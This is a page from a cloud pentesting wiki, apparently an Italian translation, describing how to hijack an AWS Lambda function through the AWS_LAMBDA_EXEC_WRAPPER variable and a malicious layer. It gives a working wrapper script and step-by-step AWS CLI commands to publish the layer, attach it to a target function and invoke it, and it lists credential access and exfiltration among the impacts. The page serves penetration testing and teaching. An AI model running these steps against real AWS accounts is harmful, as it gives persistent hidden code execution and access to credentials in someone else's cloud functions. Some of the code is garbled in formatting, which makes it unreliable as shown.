Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md

4.0 KiB

AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

Sommario

Abusa della variabile d'ambiente AWS_LAMBDA_EXEC_WRAPPER per eseguire uno script wrapper controllato dall'attaccante prima dell'avvio del runtime/handler. Distribuisci il wrapper tramite un Lambda Layer in /opt/bin/htwrap, imposta AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, e poi invoca la funzione. Il wrapper viene eseguito all'interno del processo del runtime della funzione, eredita il role di esecuzione della funzione e infine esegue con exec il runtime reale in modo che l'handler originale venga eseguito normalmente.

Warning

Questa tecnica concede esecuzione di codice nella Lambda target senza modificare il suo codice sorgente o il role e senza necessitare di iam:PassRole. Hai solo bisogno della possibilità di aggiornare la configurazione della funzione e pubblicare/allegare un layer.

Permessi richiesti (attaccante)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (o attivare tramite un evento esistente)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (stesso account) e opzionalmente lambda:AddLayerVersionPermission se si usa un layer cross-account/pubblico

Wrapper Script

Posiziona il wrapper in /opt/bin/htwrap nel layer. Può eseguire logica pre-handler e deve terminare con exec "$@" per concatenarsi al runtime reale.

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Passaggi dell'attacco (CLI)

Pubblica layer, allega alla funzione target, imposta wrapper, invoca ```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<'WRAP' #!/bin/bash set -euo pipefail echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json print('[ht] sts identity:', import('json').dumps(import('boto3').client('sts').get_caller_identity())) PY exec "$@" WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
--layer-name ht-exec-wrapper
--zip-file fileb://htwrap-layer.zip
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
--function-name "$TARGET_FN"
--layers "$LAYER_ARN"
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}"
--region "$REGION"

Wait for update to finish

until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text

</details>

## Impatto

- Esecuzione di codice pre-handler nel contesto del runtime Lambda utilizzando l'execution role esistente della function.
- Non richiede modifiche al function code o al role; funziona su managed runtimes comuni (Python, Node.js, Java, .NET).
- Consente persistence, credential access (es. STS), data exfiltration e runtime tampering prima che l'handler venga eseguito.

{{#include ../../../../banners/hacktricks-training.md}}